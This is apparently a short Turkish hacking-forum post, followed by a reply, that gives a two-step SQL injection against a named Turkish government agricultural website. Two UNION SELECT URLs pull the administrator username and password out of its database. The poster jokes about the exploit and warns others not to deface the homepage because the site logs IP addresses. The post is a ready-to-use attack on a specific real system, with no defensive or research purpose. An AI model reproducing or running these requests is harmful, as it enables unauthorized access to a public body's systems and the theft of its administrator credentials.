

Www.Diyarbakirtarim.Gov.Tr - Sql İnjection (Username,Password)
-
2 adımda admin id ve şifreyi alabiliyoruz :D
step one :
http://www.diyarbakirtarim.gov.tr/duyuru.asp?id=1 union select 0,admin,1,2,3,4 from admin
step two :
http://www.diyarbakirtarim.gov.tr/duyuru.asp?id=1 union select 0,Sifre,1,2,3,4 from admin
-
bu arada index atmayın site ip logluyor :D
-
Tebrik ederim Sitenin anasayfaya gisem sql ellemicem tbtden geldigim icin tehlike olarak algilayim log tutar mi
Toplam Hit: 2219 Toplam Mesaj: 3